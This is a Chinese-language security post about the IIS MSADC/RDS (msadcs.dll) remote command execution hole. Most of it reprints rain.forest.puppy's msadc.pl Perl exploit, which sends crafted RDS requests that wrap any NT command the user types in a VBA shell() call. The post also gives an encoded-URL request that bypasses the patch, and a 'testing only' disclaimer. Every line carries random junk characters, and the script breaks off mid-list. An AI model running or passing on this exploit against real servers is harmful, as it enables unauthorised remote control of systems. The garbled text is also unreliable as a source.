IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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@
RTQJ+ms 涉及程序:
C;dA?Es>R Microsoft NT server
s.=)p"pTd ;f=:~go 描述:
^b-H 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Pk8L-[&v ,=$yvZs4[] 详细:
oq8~PTw 如果你没有时间读详细内容的话,就删除:
}K<;ygcWE@ c:\Program Files\Common Files\System\Msadc\msadcs.dll
`3pe\s 有关的安全问题就没有了。
xBgf)'W_Z 45kMIh~~X 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
T2Y`q' GdG%=+ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
}^`{YD
关于利用ODBC远程漏洞的描述,请参看:
w2+RX-6Ie s$H5W`3 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm jvu,W4 $XyGCn 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
`(Q58wR} http://www.microsoft.com/security/bulletins/MS99-025faq.asp x-tA{_: aj(M{gFq~ 这里不再论述。
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OjCA_& OR?8F5o?p 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
AQQj]7Y Z:T4Z}4N /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Q96g7[ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
p-*BB_J" {F@;45)o f{3FoN=z #将下面这段保存为txt文件,然后: "perl -x 文件名"
J,7_5V@jJ < "~k8:=4 #!perl
5+ fS$Q
#
q8kt_&Ij # MSADC/RDS 'usage' (aka exploit) script
_ORW'(:Z #
R`1$z8$ # by rain.forest.puppy
Jt)<RMQ^R #
wV5<sH__ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
3J(STIxg # beta test and find errors!
l" sR\`~ 9 z3Iwl use Socket; use Getopt::Std;
X,y$!2QI getopts("e:vd:h:XR", \%args);
>`oO(d}n[0 ^'[ | print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
JRodYXjE X(WG:FP27 if (!defined $args{h} && !defined $args{R}) {
u[dI81` print qq~
UI!EIZ*~ Usage: msadc.pl -h <host> { -d <delay> -X -v }
uk\GAm@O -h <host> = host you want to scan (ip or domain)
4tu2%Og)? -d <seconds> = delay between calls, default 1 second
Eydk645:3 -X = dump Index Server path table, if available
DH9?~| -v = verbose
a\%g_Q){ -e = external dictionary file for step 5
Wg$MKc9Vy[ |20p#]0E+ Or a -R will resume a command session
tGf ml3]CcKn ~; exit;}
s\KV\5\o goxgJOiB $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
\?GMtM,
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
0<P
-` |X if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
w-\GrxlbX if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
QiZThAe $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\
(X~Z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
-Ol/r=/& *.i`hfRc if (!defined $args{R}){ $ret = &has_msadc;
fo5!d@Nv die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
"4ovMan py,z7_Nuh print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^c-1wV`/ . "cmd /c ";
?p}m[9@ $in=<STDIN>; chomp $in;
2>UyA.m0 $command="cmd /c " . $in ;
o,X ? Z$+0gm\Cnw if (defined $args{R}) {&load; exit;}
km8[azB o 3UBG?%!$f print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
JA1(yt &try_btcustmr;
k.rZj|7 L {E!$<A9 print "\nStep 2: Trying to make our own DSN...";
CM~)\prks &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
oU{m\r QDyL0l{C print "\nStep 3: Trying known DSNs...";
Qs*g)Yr &known_dsn;
4INO . Ga~IOlS print "\nStep 4: Trying known .mdbs...";
RELLQpz3 &known_mdb;
- x7b6o>$ 7zy6`OP if (defined $args{e}){
)Ibp%'H print "\nStep 5: Trying dictionary of DSN names...";
` 8.d &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
V~ZAs+(2Z q *-q5FE print "Sorry Charley...maybe next time?\n";
LUJKR6oT{> exit;
R`A@F2 KLlW\MF1 ##############################################################################
k%JwS_F CYs:P8^ sub sendraw { # ripped and modded from whisker
nKufVe sleep($delay); # it's a DoS on the server! At least on mine...
>*dqFZF my ($pstr)=@_;
|WlWZ8] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Qnph?t> die("Socket problems\n");
vJ }^p} if(connect(S,pack "SnA4x8",2,80,$target)){
$^d,>hJi select(S); $|=1;
X >C*(/a print $pstr; my @in=<S>;
|%we@
E select(STDOUT); close(S);
Bo_Ivhe[m return @in;
#(T } else { die("Can't connect...\n"); }}
: xB<Rq @'s^ ##############################################################################
hH|3s-o CR&v z3\Q sub make_header { # make the HTTP request
"\)j=MI8u+ my $msadc=<<EOT
(
{5LB4 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
9JpPas$] User-Agent: ACTIVEDATA
K1]H~' Host: $ip
&}Cm9V Content-Length: $clen
:WJ[a# Connection: Keep-Alive
"i(k 8+iK v&D^N9hy9 ADCClientVersion:01.06
a4Qr\"Qm Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
'%vb&a!.6 8vOKm)[% --!ADM!ROX!YOUR!WORLD!
d<r=f" Content-Type: application/x-varg
~k'KS
7c Content-Length: $reqlen
N0,wT6. R'`q0MoN1 EOT
MkEr|w' ; $msadc=~s/\n/\r\n/g;
J=JYf_=4bc return $msadc;}
0&}
"!) oi^2Pvauh ##############################################################################
d[9c6C:<q lTBPq?4{ sub make_req { # make the RDS request
1JMEniB+9 my ($switch, $p1, $p2)=@_;
$!)Sgb my $req=""; my $t1, $t2, $query, $dsn;
}RowAGWL ,u8)g;8s if ($switch==1){ # this is the btcustmr.mdb query
B"rnSui $query="Select * from Customers where City=" . make_shell();
8QDs4Bv| $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
U` uP^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
r BQFC4L 7=(rk elsif ($switch==2){ # this is general make table query
rJ|Q%utYz $query="create table AZZ (B int, C varchar(10))";
DN3#W w2[r $dsn="$p1";}
BQu_)@
jT}3Zn elsif ($switch==3){ # this is general exploit table query
A[`c2v-hF $query="select * from AZZ where C=" . make_shell();
:vZ8n6J[ $dsn="$p1";}
'Alt+O_ J6r"_>)z elsif ($switch==4){ # attempt to hork file info from index server
bw\fKZ $query="select path from scope()";
&MKG#Y} $dsn="Provider=MSIDXS;";}
3z';Zwz &X +LuGjDn0 elsif ($switch==5){ # bad query
EhL
8rR $query="select";
KJ M:-z@ $dsn="$p1";}
^m8T$^z> WDQtj$e+ $t1= make_unicode($query);
U]jHe $t2= make_unicode($dsn);
mN
Hd $req = "\x02\x00\x03\x00";
\n$s5i- $req.= "\x08\x00" . pack ("S1", length($t1));
G-
wQ
weJ9 $req.= "\x00\x00" . $t1 ;
+aR.t@D+"Y $req.= "\x08\x00" . pack ("S1", length($t2));
D;VQoO $req.= "\x00\x00" . $t2 ;
4+2XPaIm $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
{\3k(NdEX return $req;}
exT
O#*o ilJeI@ ##############################################################################
Vz[E)(QX-`
WJ":BK{NM sub make_shell { # this makes the shell() statement
`]%\Y>(a} return "'|shell(\"$command\")|'";}
{C3AxK0 D#Fe\8!l ##############################################################################
7ADh e&%m[:W:< sub make_unicode { # quick little function to convert to unicode
|TM&:4D]^ my ($in)=@_; my $out;
|<tZ| for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
XN65bq return $out;}
b Lag&c) ~_<I}!j/B ##############################################################################
$.{CA-~%[ KzD5>Xf]4$ sub rdo_success { # checks for RDO return success (this is kludge)
o (fZZ`6Y my (@in) = @_; my $base=content_start(@in);
7yp7`|,p if($in[$base]=~/multipart\/mixed/){
WvSh i= return 1 if( $in[$base+10]=~/^\x09\x00/ );}
>`L)E,=/ return 0;}
."b=dkx $Lg%CY ##############################################################################
%{qJkjG NJK?5{H' sub make_dsn { # this makes a DSN for us
hpp>+= my @drives=("c","d","e","f");
Xb +)@Y4h print "\nMaking DSN: ";
b[p<kMTir foreach $drive (@drives) {
;ELQIHnD" print "$drive: ";
{T|sU\| Q my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
ZfalB "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
U U!M/QJ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
vQf'lEFk $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
FD>j\ return 0 if $2 eq "404"; # not found/doesn't exist
Zkl:^!* if($2 eq "200") {
u=^0n2ez foreach $line (@results) {
ER,,K._?B return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
+W|MAJtg } return 0;}
KY'"Mg^! /LMb~Hy, ##############################################################################
k<W n $mFsf)1]]? sub verify_exists {
Jg#L8>p1 my ($page)=@_;
09?n5x!6 my @results=sendraw("GET $page HTTP/1.0\n\n");
Yas! w' return $results[0];}
K8E:8`_cx Q|eRek ##############################################################################
$tvGS6p> q@ !p sub try_btcustmr {
VesW7m*z my @drives=("c","d","e","f");
s)Sa KE*d my @dirs=("winnt","winnt35","winnt351","win","windows");
+SCUS] <<F#Al foreach $dir (@dirs) {
H{|a+ print "$dir -> "; # fun status so you can see progress
_YF~DU foreach $drive (@drives) {
N,v4SIC@ print "$drive: "; # ditto
* ;A I0 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Q]X0O10 $reqlenlen=length( "$reqlen" );
48,Aq*JFw $clen= 206 + $reqlenlen + $reqlen;
SPKen}g ?m-kpW8 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Y68`B"3 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9HMW!DSK` else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
<}'hkEh{d= pKK&+umg ##############################################################################
3$f%{~3 *UVjN_na5 sub odbc_error {
7O5`&Z'- my (@in)=@_; my $base;
$4.mRS97g my $base = content_start(@in);
4eb<SNi if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
JtYc'%OF $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
dIv/.x/V $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6GzmzhX4 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E\!:MCL return $in[$base+4].$in[$base+5].$in[$base+6];}
%8iA0t+ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
y$@d%U*rW^ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
qmUq9bV $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
9_IR%bm }D.?O,ue ##############################################################################
?#]K54? <LM<, sub verbose {
Zrfp4SlZZ my ($in)=@_;
U|odm 58s return if !$verbose;
m'1NZV%# print STDOUT "\n$in\n";}
#|^7{TN
2D-ogSIo ##############################################################################
qg#WDx / A?Jm59{w sub save {
CaNZScnZ my ($p1, $p2, $p3, $p4)=@_;
h`&@>uEiq open(OUT, ">rds.save") || print "Problem saving parameters...\n";
N^|r.J print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
U@[P.y~J close OUT;}
Y1AbG1n| EK.L>3 ##############################################################################
}]sI?&xB ,u QLXF2 sub load {
*|AnL}GJ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
6Nx T W open(IN,"<rds.save") || die("Couldn't open rds.save\n");
dtjaQsJM^ @p=<IN>; close(IN);
xD#PM |I $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
lD2>`s5 $target= inet_aton($ip) || die("inet_aton problems");
@Zd+XWFw print "Resuming to $ip ...";
%_+9y?? $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
KmV#%
d if($p[1]==1) {
]OY6.m $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
yAEOn/.~ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
g=; rM8W my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
j-$aa; if (rdo_success(@results)){print "Success!\n";}
HCQv"i}- else { print "failed\n"; verbose(odbc_error(@results));}}
Rf2/[ elsif ($p[1]==3){
`h5HA-ud if(run_query("$p[3]")){
;}K1c+m!5V print "Success!\n";} else { print "failed\n"; }}
aq"E@fb elsif ($p[1]==4){
rBs7,h if(run_query($drvst . "$p[3]")){
y5?T`ts,# print "Success!\n"; } else { print "failed\n"; }}
Cq1t[a exit;}
#Q6wv/"Ub S6}_Z ##############################################################################
S}e*~^1J Wf_aEW&n sub create_table {
,: w~- my ($in)=@_;
@FkNT~OZ $reqlen=length( make_req(2,$in,"") ) - 28;
If6wkY6sR $reqlenlen=length( "$reqlen" );
P>euUVMPz4 $clen= 206 + $reqlenlen + $reqlen;
9In&vF7$ my @results=sendraw(make_header() . make_req(2,$in,""));
H_;Dq* return 1 if rdo_success(@results);
` 2|~Z
H my $temp= odbc_error(@results); verbose($temp);
eFXxkWR) return 1 if $temp=~/Table 'AZZ' already exists/;
uW;Uq=UN return 0;}
h0n0Dc{4 nL^6{I~ ##############################################################################
.5L/< [k-7Kq sub known_dsn {
UE7P =B # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
3~I<f^K4 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
<)Kjf/x "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
BO[Q"g$Kon "banner", "banners", "ads", "ADCDemo", "ADCTest");
HAo8]?J sLbz@5 4 foreach $dSn (@dsns) {
!dhZs?/UI print ".";
Sc Gmft3A next if (!is_access("DSN=$dSn"));
%n}fkj' if(create_table("DSN=$dSn")){
cdU2ph_ print "$dSn successful\n";
b{sE#m%r if(run_query("DSN=$dSn")){
M#S8x@U print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Z+t?ah00 print "Something's borked. Use verbose next time\n";}}} print "\n";}
2l5@gDk5 K1:F{* ##############################################################################
|&n dQ(!l *B:{g>0 sub is_access {
jn}6yXB my ($in)=@_;
vp mSzh $reqlen=length( make_req(5,$in,"") ) - 28;
4Hzbb# $reqlenlen=length( "$reqlen" );
W\~ZmA. $clen= 206 + $reqlenlen + $reqlen;
;t?pyFT2Z my @results=sendraw(make_header() . make_req(5,$in,""));
S"3g 1yU^_ my $temp= odbc_error(@results);
P#ru-0DD verbose($temp); return 1 if ($temp=~/Microsoft Access/);
{zF return 0;}
SmR*b2U _IlL'c5 ##############################################################################
H8\{GGg <Isr sub run_query {
`}Q;2 F my ($in)=@_;
APc@1="#J $reqlen=length( make_req(3,$in,"") ) - 28;
+'#d*r91@ $reqlenlen=length( "$reqlen" );
N,[M8n, $clen= 206 + $reqlenlen + $reqlen;
_l8oB) my @results=sendraw(make_header() . make_req(3,$in,""));
f4tia. return 1 if rdo_success(@results);
.{ x5(bi0S my $temp= odbc_error(@results); verbose($temp);
wkm
SIN: return 0;}
0]HK(,/h x~{m%)I ##############################################################################
,MvvW{EY >LLz G sub known_mdb {
A1'IK. my @drives=("c","d","e","f","g");
hR`dRbBi% my @dirs=("winnt","winnt35","winnt351","win","windows");
*M`[YG19!e my $dir, $drive, $mdb;
rW6w1 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&Y#9~$V= F
H%yyT # this is sparse, because I don't know of many
A23 Z)` my @sysmdbs=( "\\catroot\\icatalog.mdb",
(f.A5~e "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
<